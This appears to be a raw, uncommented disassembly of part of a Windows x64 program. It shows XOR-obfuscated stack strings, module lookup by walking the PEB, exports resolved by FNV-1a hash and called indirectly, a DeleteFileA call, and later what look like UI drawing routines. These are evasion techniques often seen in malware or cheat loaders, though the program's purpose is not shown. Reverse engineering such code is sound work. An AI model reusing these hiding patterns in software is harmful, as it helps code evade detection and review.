mov byte [rbp + 0x5b7], 0x41
mov byte [rbp + 0x5b8], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x5b9], 0x50
mov byte [rbp + 0x5ba], Ordinal_79
mov byte [rbp + 0x5bb], 0x52
mov byte [rbp + 0x5bc], 0
mov byte [rbp + 0x5bd], 1
lea rdx, [rbp + 0x1568]
lea rcx, [rbp + 0x5b0]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1568]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1568]
call fcn.140090bf0
lea rax, [rbp + 0xea8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xea8]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xaa0], xmm0
mov byte [rbp + 0xab0], 0x59
mov byte [rbp + 0xab1], 0
mov byte [rbp + 0xab2], 1
lea rdx, [rbp + 0x1528]
lea rcx, [rbp + 0xaa0]
call fcn.14008e550
nop
lea rcx, [rbp + 0x1528]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1528]
call fcn.140090bf0
lea rax, [rbp + 0xec0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xec0]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x460], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x461], 0x59
mov byte [rbp + 0x462], 0x48
mov byte [rbp + 0x463], 0x42
mov byte [rbp + 0x464], 0x5f
mov byte [rbp + 0x465], 0x5f
mov byte [rbp + 0x466], Ordinal_32
mov byte [rbp + 0x467], 0x56
mov byte [rbp + 0x468], Ordinal_79
mov byte [rbp + 0x469], 0x50
mov byte [rbp + 0x46a], 0
mov byte [rbp + 0x46b], 1
lea rdx, [rbp + 0x14e8]
lea rcx, [rbp + 0x460]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x14e8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x14e8]
call fcn.140090bf0
lea rax, [rbp + 0xed8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xed8]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x3a0], 0x40
mov byte [rbp + 0x3a1], 0x5e
mov byte [rbp + 0x3a2], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3a3], 0x5c
mov byte [rbp + 0x3a4], 0x43
mov byte [rbp + 0x3a5], Ordinal_32
mov byte [rbp + 0x3a6], 0x57
mov byte [rbp + 0x3a7], Ordinal_79
mov byte [rbp + 0x3a8], 0x51
mov byte [rbp + 0x3a9], 0
mov byte [rbp + 0x3aa], 1
lea rdx, [rbp + 0x14a8]
lea rcx, [rbp + 0x3a0]
call fcn.14008f030
nop
lea rcx, [rbp + 0x14a8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x14a8]
call fcn.140090bf0
lea rax, [rbp + 0xef0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xef0]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x1e8], 0x7c
mov byte [rbp + 0x1e9], Ordinal_79
mov byte [rbp + 0x1ea], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x1eb], 0x7c
mov byte [rbp + 0x1ec], 0x46
mov byte [rbp + 0x1ed], 0x52
mov byte [rbp + 0x1ee], 0
mov byte [rbp + 0x1ef], 1
lea rdx, [rbp + 0x1468]
lea rcx, [rbp + 0x1e8]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x1468]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1468]
call fcn.140090bf0
lea rax, [rbp + 0xf08]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf08]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x3b0], 0x68
mov byte [rbp + 0x3b1], 0x44
mov byte [rbp + 0x3b2], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3b3], 0x48
mov byte [rbp + 0x3b4], 0x64
mov byte [rbp + 0x3b5], 0x43
mov byte [rbp + 0x3b6], 0x53
mov byte [rbp + 0x3b7], 0x50
mov byte [rbp + 0x3b8], 0x5f
mov byte [rbp + 0x3b9], 0
mov byte [rbp + 0x3ba], 1
lea rdx, [rbp + 0x1428]
lea rcx, [rbp + 0x3b0]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1428]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1428]
call fcn.140090bf0
lea rax, [rbp + 0xf20]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf20]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x7c], 0x68
mov byte [rbp + 0x7d], 0x7d
mov byte [rbp + 0x7e], 0x7d
mov byte [rbp + 0x7f], 0
mov byte [rbp + 0x80], 1
lea rdx, [rbp + 0x13e8]
lea rcx, [rbp + 0x7c]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x13e8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x13e8]
call fcn.140090bf0
lea rax, [rbp + 0xf38]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf38]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x290], 0x68
mov byte [rbp + 0x291], 0x43
mov byte [rbp + 0x292], 0x5d
mov byte [rbp + 0x293], Ordinal_79
mov byte [rbp + 0x294], 0x51
mov byte [rbp + 0x295], 0x52
mov byte [rbp + 0x296], 0x5a
mov byte [rbp + 0x297], 0x56
mov byte [rbp + 0x298], 0
mov byte [rbp + 0x299], 1
lea rdx, [rbp + 0x13a8]
lea rcx, [rbp + 0x290]
call fcn.14008e470
nop
lea rcx, [rbp + 0x13a8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x13a8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x26], 1
jne 0x1400737b8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073366
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073366
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf0938772
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073361
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073340
cmp r8d, 0x4340088e
je 0x14007336b
test r9d, r9d
jne 0x140073320
mov rax, qword [rax]
jmp 0x1400732f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x4710]
mov ecx, 0x104
call r8
dec eax
cmp eax, 0x103
jbe 0x140073474
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073426
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073426
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5ee99173
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073421
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073400
cmp r8d, 0xd9c0d992
je 0x14007342b
test r9d, r9d
jne 0x1400733e0
mov rax, qword [rax]
jmp 0x1400733b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x36]
call fcn.140089f50
mov rcx, rax
call fcn.14008aaf0
mov rbx, rax
lea rcx, [rbp - 0x35]
call fcn.140089e70
mov rcx, rax
call fcn.14008ab40
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rdx, [rbp + 0x4710]
lea rcx, [rbp + 0x2bf8]
call fcn.140090c30
nop
mov byte [rbp + 0x470], 0x7e
mov byte [rbp + 0x471], Ordinal_79
mov byte [rbp + 0x472], 0x54
mov byte [rbp + 0x473], Ordinal_79
mov byte [rbp + 0x474], 0x42
mov byte [rbp + 0x475], Ordinal_32
mov byte [rbp + 0x476], 0x58
mov byte [rbp + 0x477], 0x40
mov byte [rbp + 0x478], 0x5b
mov byte [rbp + 0x479], 0x5b
mov byte [rbp + 0x47a], 0
mov byte [rbp + 0x47b], 1
lea rdx, [rbp + 0x1368]
lea rcx, [rbp + 0x470]
call fcn.14008e4e0
nop
lea rdx, [rbp + 0x1368]
lea rcx, [rbp + 0x2bf8]
call fcn.140090bb0
nop
lea rcx, [rbp + 0x1368]
call fcn.140090bf0
lea rcx, [rbp + 0x2bf8]
call fcn.140090b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1400735fc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400735b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400735b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xcbf36719
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400735b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073590
cmp r8d, 0x23116aa8
je 0x1400735bb
test r9d, r9d
jne 0x140073570
mov rax, qword [rax]
jmp 0x140073540
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x34]
call fcn.14008a0b0
mov rcx, rax
call fcn.14008aa40
mov rbx, rax
lea rcx, [rbp - 0x33]
call fcn.140089ff0
mov rcx, rax
call fcn.14008aa90
jmp 0x140073797
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword gs:[0x60]
cmp eax, 2
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x1400736e0
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073696
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073696
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x49ff441b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073691
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073670
cmp r8d, 0x262c99fa
je 0x14007369b
test r9d, r9d
jne 0x140073650
mov rax, qword [rax]
jmp 0x140073620
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x32]
call fcn.14008a210
mov rcx, rax
call fcn.14008a990
mov rbx, rax
lea rcx, [rbp - 0x31]
call fcn.14008a150
mov rcx, rax
call fcn.14008a9e0
jmp 0x140073797
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073756
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073756
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf2cba330
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073751
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073730
cmp r8d, 0xc1134f7b
je 0x14007375b
test r9d, r9d
jne 0x140073710
mov rax, qword [rax]
jmp 0x1400736e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x30]
call fcn.14008a390
mov rcx, rax
call fcn.14008a8e0
mov rbx, rax
lea rcx, [rbp - 0x2f]
call fcn.14008a2b0
mov rcx, rax
call fcn.14008a930
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp + 0x2bf8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x25], 1
jne 0x140073b24
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073856
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073856
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x3c818ce5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073851
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073830
cmp r8d, 0x91f6fbbc
je 0x14007385b
test r9d, r9d
jne 0x140073810
mov rax, qword [rax]
jmp 0x1400737e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x1348], xmm0
mov byte [rbp + 0x1358], 0x79
mov byte [rbp + 0x1359], 0x77
mov byte [rbp + 0x135a], WSAStartup
mov byte [rbp + 0x135b], WSASetLastError
mov byte [rbp + 0x135c], reloc.WS2_32.dll_select
mov byte [rbp + 0x135d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x135e], 3
mov byte [rbp + 0x135f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1360], 0x64
mov byte [rbp + 0x1361], WSASetLastError
mov byte [rbp + 0x1362], 2
mov byte [rbp + 0x1363], 0x67
mov byte [rbp + 0x1364], ntohs
mov byte [rbp + 0x1365], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1366], 0
mov byte [rbp + 0x1367], 1
lea rcx, [rbp + 0x1348]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073996
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073996
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb8de022f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073991
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073970
cmp r8d, 0xd218488e
je 0x14007399b
test r9d, r9d
jne 0x140073950
mov rax, qword [rax]
jmp 0x140073920
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x1328], xmm0
mov byte [rbp + 0x1338], 0x79
mov byte [rbp + 0x1339], 0x77
mov byte [rbp + 0x133a], WSAStartup
mov byte [rbp + 0x133b], WSASetLastError
mov byte [rbp + 0x133c], reloc.WS2_32.dll_select
mov byte [rbp + 0x133d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x133e], 3
mov byte [rbp + 0x133f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1340], 0x64
mov byte [rbp + 0x1341], WSASetLastError
mov byte [rbp + 0x1342], 2
mov byte [rbp + 0x1343], 0x67
mov byte [rbp + 0x1344], ntohs
mov byte [rbp + 0x1345], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1346], 0
mov byte [rbp + 0x1347], 1
lea rcx, [rbp + 0x1328]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073ad6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073ad6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x21038dc9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073ad1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073ab0
cmp r8d, 0x1576198
je 0x140073adb
test r9d, r9d
jne 0x140073a90
mov rax, qword [rax]
jmp 0x140073a60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x2e]
call fcn.14008a520
mov rcx, rax
call fcn.14008a830
mov rbx, rax
lea rcx, [rbp - 0x2d]
call fcn.14008a430
mov rcx, rax
call fcn.14008a880
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073bb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073bb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5f3341b2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073bb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073b90
cmp r8d, 0x2a6a0675
je 0x140073bbb
test r9d, r9d
jne 0x140073b70
mov rax, qword [rax]
jmp 0x140073b40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x2c]
call fcn.14008a660
mov rcx, rax
call fcn.14008a7c0
mov rbx, rax
lea rcx, [rbp - 0x2b]
call fcn.14008a5c0
mov rcx, rax
call fcn.14008a7e0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x28], 1
jne 0x140073db9
xor r13d, r13d
mov r15d, r13d
mov r14d, 0x3fb8e83b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x2800], xmm0
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x140073c9d
mov rcx, qword [rbp + 0x2808]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x31d6d86b
cmp rcx, r8
je 0x140073c94
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140073c80
cmp edx, r15d
jne 0x140073d9d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov rdi, rcx
shr rdi, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140073d9d
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140073d9d
mov ebx, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rbx + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x31d6d86b
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140073d16
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140073d00
cmp edx, r14d
je 0x140073d22
test r8d, r8d
jne 0x140073ce0
jmp 0x140073d9d
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140073db5
lea rax, [rdi + r11]
cmp rdx, rax
jae 0x140073db5
mov r15d, 0x31d6d86b
mov r14d, r15d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140073d77
nop dword [rax]
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140073d60
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x140073d99
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140073d81
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140073db2
cmp qword [rax + 0x30], r13
jne 0x140073c40
mov rdx, r13
xor ecx, ecx
call rdx
mov r12d, 1
movzx r13d, byte [rbp - 0x74]
mov ecx, r12d
call fcn.140004f90
jmp 0x14008268a
call fcn.1400609f0
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
subsd xmm1, qword [0x1401cb530]
cvtpd2ps xmm6, xmm1
call fcn.1400609b0
movaps xmm2, xmm6
movaps xmm1, xmm0
lea rcx, [rbp + 0x1f0]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x2a]
call fcn.140084b00
mov rcx, rax
call fcn.14008d040
mov rdx, rbx
mov rcx, rax
call fcn.14004f670
mov esi, r15d
mov rcx, qword [0x140214480]
add rcx, 8
call fcn.14008fd00
test rax, rax
je 0x140073eed
mov r14, r15
lea r12, [0x1402107f8]
nop word [rax + rax]
mov rax, qword [0x140214480]
mov r15d, dword [rax + 0x20]
cmp r15d, esi
sete dil
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x1f8]
call fcn.140002800
mov rbx, rax
mov rcx, qword [0x140214480]
add rcx, 8
mov rdx, r14
call fcn.14008fcf0
mov rcx, rax
call fcn.140090b20
mov r9, rbx
xor r8d, r8d
movzx edx, dil
mov rcx, rax
call fcn.1400430d0
mov rcx, qword [0x140214480]
test al, al
je 0x140073eb8
mov dword [rcx + 0x20], esi
mov dword [r12], esi
cmp r15d, esi
jne 0x140073ec9
call fcn.140012930
mov rcx, qword [0x140214480]
inc esi
add r12, 4
movsxd r14, esi
add rcx, 8
call fcn.14008fd00
cmp r14, rax
jb 0x140073e50
mov r12d, 1
xor r15d, r15d
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x200]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x29]
call fcn.140084bb0
mov rcx, rax
call fcn.14008d020
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
test al, al
je 0x140081c6b
call fcn.140007040
call fcn.140012900
movaps xmm2, xmm7
movss xmm1, dword [0x1401cb5ac]
lea rcx, [rbp + 0x208]
call fcn.140002800
mov rcx, rax
call fcn.140013100
movss xmm6, dword [0x1401cb474]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm10
movaps xmm2, xmm9
movss xmm7, dword [0x1401cb494]
movaps xmm1, xmm7
lea rcx, [rbp + 0x3590]
call fcn.140002820
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm1, xmm7
lea rcx, [rbp + 0x35a0]
call fcn.140002820
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm1, xmm7
lea rcx, [rbp + 0x35b0]
call fcn.140002820
mov dword [rbp + 0x480], 0x40800000
mov dword [rbp + 0x484], 0x41000000
mov dword [rbp + 0x488], 0x41400000
movss xmm2, dword [0x1401cb5f0]
movaps xmm1, xmm8
lea rcx, [rbp + 0x2810]
call fcn.140002800
lea rcx, [rbp + 0x2818]
call fcn.1400130b0
movss xmm3, dword [rbp + 0x2818]
movss dword [rbp + 0x2828], xmm3
movss xmm0, dword [rbp + 0x281c]
movss dword [rbp + 0x282c], xmm0
movss xmm2, dword [rbp + 0x2814]
addss xmm2, xmm0
movss xmm1, dword [rbp + 0x2810]
addss xmm1, xmm3
lea rcx, [rbp + 0x2820]
call fcn.140002800
lea rdi, [rbp + 0x480]
lea rsi, [rbp + 0x3590]
mov r14d, 3
call fcn.140012900
mov rbx, rax
movss xmm6, dword [rdi]
mov rcx, rsi
call fcn.140004770
movss dword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm9
mov r9d, eax
lea r8, [rbp + 0x2820]
lea rdx, [rbp + 0x2828]
mov rcx, rbx
call fcn.14002f5f0
add rsi, 0x10
lea rdi, [rdi + 4]
sub r14, 1
jne 0x140074058
mov rcx, qword [0x140214480]
cmp dword [rcx + 0x20], r14d
jl 0x140081c6b
movsxd r14, dword [rcx + 0x20]
add rcx, 8
call fcn.14008fd00
cmp r14, rax
jae 0x140081c6b
cmp r14d, 3
ja 0x140074784
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm9
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x700]
call fcn.140002820
mov rsi, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x710]
call fcn.140002820
mov rdi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x230]
call fcn.140002800
mov rbx, rax
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x238]
call fcn.140002800
lea rdx, [0x1402107f8]
movsxd rdx, dword [rdx + r14*4]
lea rcx, [0x140210880]
mov rcx, qword [rcx + rdx*8]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x2810]
call fcn.14003c0a0
movss dword [rsp + 0x20], xmm12
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm1, xmm7
lea rcx, [rbp + 0x720]
call fcn.140002820
mov rdx, rax
mov ecx, 5
call fcn.140004dd0
movss xmm1, dword [0x1401cb528]
mov ecx, 6
call fcn.140004e80
movss xmm2, dword [0x1401cb5c0]
movss xmm1, dword [0x1401cb608]
lea rcx, [rbp + 0x240]
call fcn.140002800
mov rcx, rax
call fcn.140013100
